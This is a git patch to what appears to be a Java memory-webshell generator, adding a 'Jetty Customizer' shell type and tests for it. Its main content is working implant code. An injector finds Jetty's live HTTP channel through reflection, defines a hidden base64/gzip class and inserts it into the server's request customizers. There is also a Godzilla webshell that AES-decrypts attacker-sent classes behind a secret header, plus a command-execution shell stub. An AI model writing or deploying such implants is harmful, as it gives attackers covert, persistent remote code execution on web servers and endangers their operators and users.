From e140753b5c406d5f92df5bc3689f95e826c48626 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 3 Dec 2025 02:19:43 +0800 Subject: [PATCH] feat: support jetty customizer shell --- .../javaweb/memshell/ServerFactory.java | 2 + .../reajason/javaweb/memshell/ShellType.java | 3 +- .../jetty/JettyCustomizerInjector.java | 215 ++++++++++++++++++ .../javaweb/memshell/server/Jetty.java | 1 + .../command/CommandJettyCustomizer.java | 80 +++++++ .../godzilla/GodzillaJettyCustomizer.java | 142 ++++++++++++ .../command/CommandJettyHandlerTest.java | 109 +++++++++ .../memshell/jetty/Jetty10ContainerTest.java | 1 + .../memshell/jetty/Jetty11ContainerTest.java | 1 + .../memshell/jetty/Jetty75ContainerTest.java | 1 + .../memshell/jetty/Jetty81ContainerTest.java | 1 + .../memshell/jetty/Jetty92ContainerTest.java | 1 + .../memshell/jetty/Jetty93ContainerTest.java | 1 + .../memshell/jetty/Jetty94ContainerTest.java | 1 + 14 files changed, 557 insertions(+), 2 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 7efb8249..61e65535 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -71,6 +71,7 @@ public class ServerFactory { .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) .addShellClass(HANDLER, GodzillaJettyHandler.class) .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class) + .addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class) .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) @@ -144,6 +145,7 @@ public class ServerFactory { .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class) .addShellClass(HANDLER, CommandJettyHandler.class) + .addShellClass(CUSTOMIZER, CommandJettyCustomizer.class) .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 76da2297..687f1d00 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -20,9 +20,8 @@ public class ShellType { public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; public static final String HANDLER = "Handler"; - public static final String JETTY6_HANDLER = "Jetty6Handler"; - public static final String JETTY_EE_HANDLER = "JettyEEHandler"; public static final String JAKARTA_HANDLER = JAKARTA + HANDLER; + public static final String CUSTOMIZER = "Customizer"; public static final String NETTY_HANDLER = "NettyHandler"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java new file mode 100644 index 00000000..0e05fd72 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java @@ -0,0 +1,215 @@ +package com.reajason.javaweb.memshell.injector.jetty; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.List; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class JettyCustomizerInjector { + + private String msg = ""; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public JettyCustomizerInjector() { + Object channel = null; + try { + channel = getChannel(); + } catch (Throwable throwable) { + msg += "channel error: " + getErrorMessage(throwable); + } + if (channel == null) { + msg += "channel is null"; + } else { + msg += ("channel: [" + channel + "] "); + try { + Object shell = getShell(channel); + inject(channel, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + System.out.println(msg); + } + + public void inject(Object channel, Object shell) throws Exception { + Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration"); + List customizers = (List) invokeMethod(httpConfiguration, "getCustomizers"); + for (Object customizer : customizers) { + if (customizer.getClass().getName().equals(getClassName())) { + return; + } + } + customizers.add(shell); + } + + @Override + public String toString() { + return msg; + } + + /** + * org.eclipse.jetty.server.HttpChannel + */ + private Object getChannel() throws Exception { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry != null) { + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("HttpConnection")) { + return getFieldValue(threadLocalValue, "_channel"); + } + } + } + } + } catch (Exception e) { + } + } + return null; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java index 8337ffcb..658866cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java @@ -44,6 +44,7 @@ public class Jetty extends AbstractServer { .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) .addInjector(HANDLER, JettyHandlerInjector.class) .addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class) + .addInjector(CUSTOMIZER, JettyCustomizerInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java new file mode 100644 index 00000000..8595f9c1 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.Request; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Method; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public class CommandJettyCustomizer implements HttpConfiguration.Customizer { + private static String paramName; + + public CommandJettyCustomizer() { + } + + // jetty9+ + public void customize(Connector connector, HttpConfiguration channelConfig, Request request) { + try { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); + Object response = invokeMethod(request, "getResponse"); + InputStream inputStream = getInputStream(param); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java new file mode 100644 index 00000000..16ca3b21 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java @@ -0,0 +1,142 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.Request; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfiguration.Customizer { + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; + + public GodzillaJettyCustomizer() { + } + + protected GodzillaJettyCustomizer(ClassLoader parent) { + super(parent); + } + + // jetty9+ + public void customize(Connector connector, HttpConfiguration channelConfig, Request request) { + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + Object response = invokeMethod(request, "getResponse"); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaJettyCustomizer(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + try { + Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + public byte[] x(byte[] s, boolean m) throws Exception { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java new file mode 100644 index 00000000..012c8040 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java @@ -0,0 +1,109 @@ +package com.reajason.javaweb.memshell.tomcat.command; + +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.generator.command.CommandGenerator; +import com.reajason.javaweb.memshell.shelltool.command.CommandJettyHandler; +import net.bytebuddy.jar.asm.ClassReader; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class CommandJettyHandlerTest { + @Test + void testJetty6() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("6") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + byte[] bytes = commandGenerator.getBytes(); + assertEquals("org/mortbay/jetty/handler/AbstractHandler", new ClassReader(bytes).getSuperName()); + } + + @Test + void testJetty7Plus() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("7+") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + byte[] bytes = commandGenerator.getBytes(); + assertEquals("org/eclipse/jetty/server/handler/AbstractHandler", new ClassReader(bytes).getSuperName()); + } + + @Test + void testJetty12() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("12") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + byte[] bytes = commandGenerator.getBytes(); + assertEquals("org/eclipse/jetty/server/Handler$Abstract", new ClassReader(bytes).getSuperName()); + } + + @Test + void testJettyException() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("unknown") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + assertThrows(GenerationException.class, commandGenerator::getBytes); + } + + @Test + void testJettyNullException() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion(null) + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + assertThrows(GenerationException.class, commandGenerator::getBytes); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index 155ed2d3..2a190c89 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty10ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index 2d3b6d6b..1435dc28 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -56,6 +56,7 @@ public class Jetty11ContainerTest { ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index c744b1ea..405e66fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -64,6 +64,7 @@ public class Jetty75ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info("logs: {}", logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index ee846c4e..a7142727 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -64,6 +64,7 @@ public class Jetty81ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info("logs: {}", logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index e90fe42f..5ceb9474 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -56,6 +56,7 @@ public class Jetty92ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index 4c1efe1a..63005109 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty93ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index 92cf4e92..d17308f9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty94ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP);